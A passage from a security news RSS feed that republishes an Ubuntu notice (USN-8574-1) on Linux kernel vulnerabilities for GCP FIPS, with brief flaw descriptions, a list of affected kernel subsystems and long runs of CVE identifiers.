CVE-2026-43255, CVE-2026-43257, CVE-2026-43261, CVE-2026-43262,
CVE-2026-43264, CVE-2026-43266, CVE-2026-43268, CVE-2026-43269,
CVE-2026-43270, CVE-2026-43273, CVE-2026-43275, CVE-2026-43277,
CVE-2026-43279, CVE-2026-43281, CVE-2026-43283, CVE-2026-43287,
CVE-2026-43289, CVE-2026-43291, CVE-2026-43295, CVE-2026-43296,
CVE-2026-43302, CVE-2026-43312, CVE-2026-43313, CVE-2026-43314,
CVE-2026-43315, CVE-2026-43316, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43333, CVE-2026-43334,
CVE-2026-43336, CVE-2026-43339, CVE-2026-43340, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43357, CVE-2026-43363, CVE-2026-43365,
CVE-2026-43370, CVE-2026-43373, CVE-2026-43380, CVE-2026-43381,
CVE-2026-43382, CVE-2026-43386, CVE-2026-43387, CVE-2026-43405,
CVE-2026-43411, CVE-2026-43420, CVE-2026-43425, CVE-2026-43426,
CVE-2026-43427, CVE-2026-43428, CVE-2026-43429, CVE-2026-43430,
CVE-2026-43432, CVE-2026-43439, CVE-2026-43445, CVE-2026-43449,
CVE-2026-43450, CVE-2026-43451, CVE-2026-43452, CVE-2026-43453,
CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43469,
CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476,
CVE-2026-43480, CVE-2026-43484, CVE-2026-43496, CVE-2026-43497,
CVE-2026-43502, CVE-2026-45834, CVE-2026-45835, CVE-2026-45836,
CVE-2026-45838, CVE-2026-45839, CVE-2026-45840, CVE-2026-45841,
CVE-2026-45842, CVE-2026-45843, CVE-2026-45844, CVE-2026-45846,
CVE-2026-45847, CVE-2026-45848, CVE-2026-45852, CVE-2026-45856,
CVE-2026-45857, CVE-2026-45860, CVE-2026-45862, CVE-2026-45864,
CVE-2026-45866, CVE-2026-45867, CVE-2026-45868, CVE-2026-45869,
CVE-2026-45870, CVE-2026-45871, CVE-2026-45873, CVE-2026-45875,
CVE-2026-45879, CVE-2026-45883, CVE-2026-45885, CVE-2026-45890,
CVE-2026-45891, CVE-2026-45899, CVE-2026-45902, CVE-2026-45904,
CVE-2026-45911, CVE-2026-45912, CVE-2026-45915, CVE-2026-45916,
CVE-2026-45919, CVE-2026-45920, CVE-2026-45924, CVE-2026-45935,
CVE-2026-45936, CVE-2026-45941, CVE-2026-45946, CVE-2026-45948,
CVE-2026-45954, CVE-2026-45956, CVE-2026-45958, CVE-2026-45960,
CVE-2026-45964, CVE-2026-45965, CVE-2026-45968, CVE-2026-45969,
CVE-2026-45970, CVE-2026-45974, CVE-2026-45978, CVE-2026-45983,
CVE-2026-45984, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45994, CVE-2026-46002, CVE-2026-46004, CVE-2026-46006,
CVE-2026-46009, CVE-2026-46015, CVE-2026-46018, CVE-2026-46019,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46027,
CVE-2026-46033, CVE-2026-46037, CVE-2026-46040, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46053, CVE-2026-46062, CVE-2026-46064,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46077, CVE-2026-46080,
CVE-2026-46082, CVE-2026-46088, CVE-2026-46098, CVE-2026-46099,
CVE-2026-46101, CVE-2026-46102, CVE-2026-46107, CVE-2026-46108,
CVE-2026-46112, CVE-2026-46120, CVE-2026-46122, CVE-2026-46123,
CVE-2026-46124, CVE-2026-46127, CVE-2026-46128, CVE-2026-46132,
CVE-2026-46133, CVE-2026-46137, CVE-2026-46146, CVE-2026-46149,
CVE-2026-46150, CVE-2026-46151, CVE-2026-46161, CVE-2026-46163,
CVE-2026-46167, CVE-2026-46168, CVE-2026-46172, CVE-2026-46174,
CVE-2026-46177, CVE-2026-46178, CVE-2026-46184, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46189, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46205, CVE-2026-46206, CVE-2026-46209, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46219, CVE-2026-46220, CVE-2026-46227,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46236, CVE-2026-46238, CVE-2026-46249, CVE-2026-46250,
CVE-2026-46253, CVE-2026-46259, CVE-2026-46267, CVE-2026-46270,
CVE-2026-46273, CVE-2026-46274, CVE-2026-46275, CVE-2026-46285,
CVE-2026-46294, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46307, CVE-2026-46319, CVE-2026-46328, CVE-2026-52911,
CVE-2026-52912, CVE-2026-52914, CVE-2026-52915, CVE-2026-52916,
CVE-2026-52919, CVE-2026-52920, CVE-2026-52921, CVE-2026-52922,
CVE-2026-52925, CVE-2026-52926, CVE-2026-52931, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52962,
CVE-2026-52963, CVE-2026-52969, CVE-2026-52970, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52992,
CVE-2026-52993, CVE-2026-52995, CVE-2026-52998, CVE-2026-52999,
CVE-2026-53001, CVE-2026-53002, CVE-2026-53003, CVE-2026-53004,
CVE-2026-53006, CVE-2026-53011, CVE-2026-53012, CVE-2026-53016,
CVE-2026-53021, CVE-2026-53022, CVE-2026-53023, CVE-2026-53037,
CVE-2026-53039, CVE-2026-53040, CVE-2026-53041, CVE-2026-53043,
CVE-2026-53045, CVE-2026-53046, CVE-2026-53047, CVE-2026-53048,
CVE-2026-53049, CVE-2026-53050, CVE-2026-53059, CVE-2026-53060,
CVE-2026-53061, CVE-2026-53062, CVE-2026-53064, CVE-2026-53065,
CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072,
CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53088, CVE-2026-53093, CVE-2026-53096,
CVE-2026-53112, CVE-2026-53128, CVE-2026-53130, CVE-2026-53287,
CVE-2026-53291, CVE-2026-53294, CVE-2026-53295, CVE-2026-53296,
CVE-2026-53304, CVE-2026-53306, CVE-2026-53309, CVE-2026-53320,
CVE-2026-53369, CVE-2026-53379, CVE-2026-63860, CVE-2026-63865,
CVE-2026-64018, CVE-2026-64032, CVE-2026-64033, CVE-2026-64034,
CVE-2026-64039, CVE-2026-64046, CVE-2026-64047, CVE-2026-64055,
CVE-2026-64056, CVE-2026-64083, CVE-2026-64084, CVE-2026-64085,
CVE-2026-64086, CVE-2026-64087, CVE-2026-64088, CVE-2026-64089,
CVE-2026-64096, CVE-2026-64102, CVE-2026-64103, CVE-2026-64113,
CVE-2026-64114, CVE-2026-64115, CVE-2026-64125, CVE-2026-64133,
CVE-2026-64135, CVE-2026-64153, CVE-2026-64155, CVE-2026-64164,
CVE-2026-64165, CVE-2026-64166, CVE-2026-64168, CVE-2026-64173,
CVE-2026-64174, CVE-2026-64177, CVE-2026-64178, CVE-2026-64179,
CVE-2026-64185)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8574-1: Linux kernel (GCP FIPS) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3683349/unix-server/usn-8574-1-linux-kernel-gcp-fips-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683349/unix-server/usn-8574-1-linux-kernel-gcp-fips-vulnerabilities/</guid>
<pubDate>Tue, 21 Jul 2026 12:16:02 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Remote Processor subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - SPI subsystem;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - Cryptographic library;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - Landlock security;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239,
CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161,
CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287,
CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118,
CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171,
CVE-2026-23207, CVE-2026-23226, CVE-2026-23227, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23253, CVE-2026-23255,
CVE-2026-23270, CVE-2026-23271, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23284, CVE-2026-23285,
CVE-2026-23286, CVE-2026-23287, CVE-2026-23289, CVE-2026-23290,
CVE-2026-23291, CVE-2026-23292, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23302, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23306, CVE-2026-23307, CVE-2026-23308,
CVE-2026-23310, CVE-2026-23312, CVE-2026-23313, CVE-2026-23315,
CVE-2026-23317, CVE-2026-23318, CVE-2026-23319, CVE-2026-23321,
CVE-2026-23324, CVE-2026-23325, CVE-2026-23330, CVE-2026-23334,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23343, CVE-2026-23347, CVE-2026-23352, CVE-2026-23356,
CVE-2026-23357, CVE-2026-23359, CVE-2026-23360, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23412,
CVE-2026-23413, CVE-2026-23414, CVE-2026-23418, CVE-2026-23419,
CVE-2026-23420, CVE-2026-23426, CVE-2026-23434, CVE-2026-23438,
CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448,
CVE-2026-23449, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31403, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408,
CVE-2026-31409, CVE-2026-31412, CVE-2026-31413, CVE-2026-31414,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429,
CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434,
CVE-2026-31438, CVE-2026-31439, CVE-2026-31440, CVE-2026-31441,
CVE-2026-31446, CVE-2026-31447, CVE-2026-31449, CVE-2026-31450,
CVE-2026-31451, CVE-2026-31452, CVE-2026-31453, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31458, CVE-2026-31464, CVE-2026-31466,
CVE-2026-31467, CVE-2026-31469, CVE-2026-31470, CVE-2026-31473,
CVE-2026-31474, CVE-2026-31476, CVE-2026-31477, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31506, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519,
CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528,
CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549,
CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554,
CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563,
CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606,
CVE-2026-31610, CVE-2026-31611, CVE-2026-31612, CVE-2026-31613,
CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618,
CVE-2026-31619, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624,
CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628,
CVE-2026-31629, CVE-2026-31634, CVE-2026-31638, CVE-2026-31639,
CVE-2026-31642, CVE-2026-31645, CVE-2026-31646, CVE-2026-31648,
CVE-2026-31651, CVE-2026-31655, CVE-2026-31656, CVE-2026-31658,
CVE-2026-31660, CVE-2026-31661, CVE-2026-31662, CVE-2026-31664,
CVE-2026-31665, CVE-2026-31667, CVE-2026-31670, CVE-2026-31671,
CVE-2026-31672, CVE-2026-31673, CVE-2026-31674, CVE-2026-31675,
CVE-2026-31677, CVE-2026-31678, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31689, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31700,
CVE-2026-31701, CVE-2026-31702, CVE-2026-31704, CVE-2026-31705,
CVE-2026-31706, CVE-2026-31707, CVE-2026-31708, CVE-2026-31709,
CVE-2026-31711, CVE-2026-31712, CVE-2026-31714, CVE-2026-31715,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31722,
CVE-2026-31723, CVE-2026-31724, CVE-2026-31725, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31729, CVE-2026-31730, CVE-2026-31731,
CVE-2026-31737, CVE-2026-31738, CVE-2026-31740, CVE-2026-31741,
CVE-2026-31747, CVE-2026-31748, CVE-2026-31749, CVE-2026-31751,
CVE-2026-31752, CVE-2026-31754, CVE-2026-31755, CVE-2026-31756,
CVE-2026-31758, CVE-2026-31759, CVE-2026-31761, CVE-2026-31762,
CVE-2026-31763, CVE-2026-31767, CVE-2026-31768, CVE-2026-31770,
CVE-2026-31772, CVE-2026-31773, CVE-2026-31778, CVE-2026-31779,
CVE-2026-31780, CVE-2026-31781, CVE-2026-31788, CVE-2026-43007,
CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019,
CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025,
CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030,
CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43040,
CVE-2026-43041, CVE-2026-43043, CVE-2026-43044, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43049, CVE-2026-43050, CVE-2026-43051,
CVE-2026-43052, CVE-2026-43054, CVE-2026-43056, CVE-2026-43057,
CVE-2026-43058, CVE-2026-43059, CVE-2026-43060, CVE-2026-43061,
CVE-2026-43062, CVE-2026-43064, CVE-2026-43065, CVE-2026-43066,
CVE-2026-43068, CVE-2026-43069, CVE-2026-43072, CVE-2026-43073,
CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079,
CVE-2026-43080, CVE-2026-43081, CVE-2026-43082, CVE-2026-43084,
CVE-2026-43085, CVE-2026-43086, CVE-2026-43088, CVE-2026-43089,
CVE-2026-43091, CVE-2026-43092, CVE-2026-43093, CVE-2026-43094,
CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104,
CVE-2026-43105, CVE-2026-43107, CVE-2026-43109, CVE-2026-43110,
CVE-2026-43111, CVE-2026-43112, CVE-2026-43113, CVE-2026-43119,
CVE-2026-43120, CVE-2026-43129, CVE-2026-43162, CVE-2026-43245,
CVE-2026-43252, CVE-2026-43265, CVE-2026-43281, CVE-2026-43324,
CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43330,
CVE-2026-43332, CVE-2026-43333, CVE-2026-43334, CVE-2026-43336,
CVE-2026-43338, CVE-2026-43339, CVE-2026-43340, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355,
CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361,
CVE-2026-43362, CVE-2026-43363, CVE-2026-43365, CVE-2026-43366,
CVE-2026-43368, CVE-2026-43370, CVE-2026-43371, CVE-2026-43372,
CVE-2026-43373, CVE-2026-43377, CVE-2026-43380, CVE-2026-43381,
CVE-2026-43382, CVE-2026-43386, CVE-2026-43387, CVE-2026-43395,
CVE-2026-43397, CVE-2026-43405, CVE-2026-43408, CVE-2026-43409,
CVE-2026-43411, CVE-2026-43412, CVE-2026-43413, CVE-2026-43415,
CVE-2026-43419, CVE-2026-43420, CVE-2026-43421, CVE-2026-43424,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43436,
CVE-2026-43437, CVE-2026-43439, CVE-2026-43441, CVE-2026-43445,
CVE-2026-43448, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43455, CVE-2026-43456,
CVE-2026-43457, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466,
CVE-2026-43467, CVE-2026-43468, CVE-2026-43469, CVE-2026-43471,
CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476,
CVE-2026-43480, CVE-2026-43483, CVE-2026-43484, CVE-2026-43488,
CVE-2026-43490, CVE-2026-43491, CVE-2026-43492, CVE-2026-43495,
CVE-2026-43496, CVE-2026-43497, CVE-2026-43499, CVE-2026-43502,
CVE-2026-45834, CVE-2026-45835, CVE-2026-45836, CVE-2026-45838,
CVE-2026-45839, CVE-2026-45840, CVE-2026-45841, CVE-2026-45842,
CVE-2026-45843, CVE-2026-45844, CVE-2026-45845, CVE-2026-45846,
CVE-2026-45855, CVE-2026-45858, CVE-2026-45899, CVE-2026-45911,
CVE-2026-45920, CVE-2026-45924, CVE-2026-45942, CVE-2026-45943,
CVE-2026-45956, CVE-2026-45958, CVE-2026-45985, CVE-2026-45986,
CVE-2026-45987, CVE-2026-45989, CVE-2026-45991, CVE-2026-45994,
CVE-2026-45996, CVE-2026-45997, CVE-2026-45999, CVE-2026-46002,
CVE-2026-46003, CVE-2026-46004, CVE-2026-46005, CVE-2026-46006,
CVE-2026-46007, CVE-2026-46009, CVE-2026-46011, CVE-2026-46012,
CVE-2026-46015, CVE-2026-46016, CVE-2026-46018, CVE-2026-46019,
CVE-2026-46021, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024,
CVE-2026-46026, CVE-2026-46027, CVE-2026-46031, CVE-2026-46033,
CVE-2026-46037, CVE-2026-46038, CVE-2026-46040, CVE-2026-46041,
CVE-2026-46044, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049,
CVE-2026-46050, CVE-2026-46051, CVE-2026-46052, CVE-2026-46053,
CVE-2026-46056, CVE-2026-46058, CVE-2026-46061, CVE-2026-46062,
CVE-2026-46063, CVE-2026-46064, CVE-2026-46065, CVE-2026-46068,
CVE-2026-46069, CVE-2026-46070, CVE-2026-46072, CVE-2026-46073,
CVE-2026-46075, CVE-2026-46076, CVE-2026-46077, CVE-2026-46078,
CVE-2026-46079, CVE-2026-46080, CVE-2026-46082, CVE-2026-46083,
CVE-2026-46084, CVE-2026-46086, CVE-2026-46088, CVE-2026-46089,
CVE-2026-46090, CVE-2026-46091, CVE-2026-46092, CVE-2026-46094,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46103, CVE-2026-46106, CVE-2026-46107, CVE-2026-46108,
CVE-2026-46110, CVE-2026-46111, CVE-2026-46112, CVE-2026-46113,
CVE-2026-46114, CVE-2026-46116, CVE-2026-46117, CVE-2026-46120,
CVE-2026-46121, CVE-2026-46122, CVE-2026-46123, CVE-2026-46124,
CVE-2026-46125, CVE-2026-46126, CVE-2026-46127, CVE-2026-46128,
CVE-2026-46129, CVE-2026-46131, CVE-2026-46132, CVE-2026-46133,
CVE-2026-46136, CVE-2026-46137, CVE-2026-46138, CVE-2026-46139,
CVE-2026-46142, CVE-2026-46143, CVE-2026-46144, CVE-2026-46145,
CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46152, CVE-2026-46157, CVE-2026-46159, CVE-2026-46160,
CVE-2026-46161, CVE-2026-46163, CVE-2026-46164, CVE-2026-46167,
CVE-2026-46168, CVE-2026-46169, CVE-2026-46172, CVE-2026-46173,
CVE-2026-46174, CVE-2026-46176, CVE-2026-46177, CVE-2026-46178,
CVE-2026-46179, CVE-2026-46180, CVE-2026-46184, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46189, CVE-2026-46190, CVE-2026-46191,
CVE-2026-46193, CVE-2026-46194, CVE-2026-46196, CVE-2026-46197,
CVE-2026-46198, CVE-2026-46199, CVE-2026-46200, CVE-2026-46201,
CVE-2026-46204, CVE-2026-46205, CVE-2026-46206, CVE-2026-46207,
CVE-2026-46208, CVE-2026-46209, CVE-2026-46211, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46218, CVE-2026-46219, CVE-2026-46220,
CVE-2026-46225, CVE-2026-46226, CVE-2026-46227, CVE-2026-46229,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46232, CVE-2026-46233,
CVE-2026-46234, CVE-2026-46235, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46241, CVE-2026-46273, CVE-2026-46274, CVE-2026-46280,
CVE-2026-46282, CVE-2026-46285, CVE-2026-46286, CVE-2026-46287,
CVE-2026-46291, CVE-2026-46292, CVE-2026-46293, CVE-2026-46294,
CVE-2026-46296, CVE-2026-46299, CVE-2026-46301, CVE-2026-46303,
CVE-2026-46304, CVE-2026-46306, CVE-2026-46307, CVE-2026-46312,
CVE-2026-46314, CVE-2026-46319, CVE-2026-52911, CVE-2026-52920,
CVE-2026-52925, CVE-2026-52933, CVE-2026-52936, CVE-2026-52951,
CVE-2026-52954, CVE-2026-52955, CVE-2026-52957, CVE-2026-52958,
CVE-2026-52961, CVE-2026-52962, CVE-2026-52963, CVE-2026-52964,
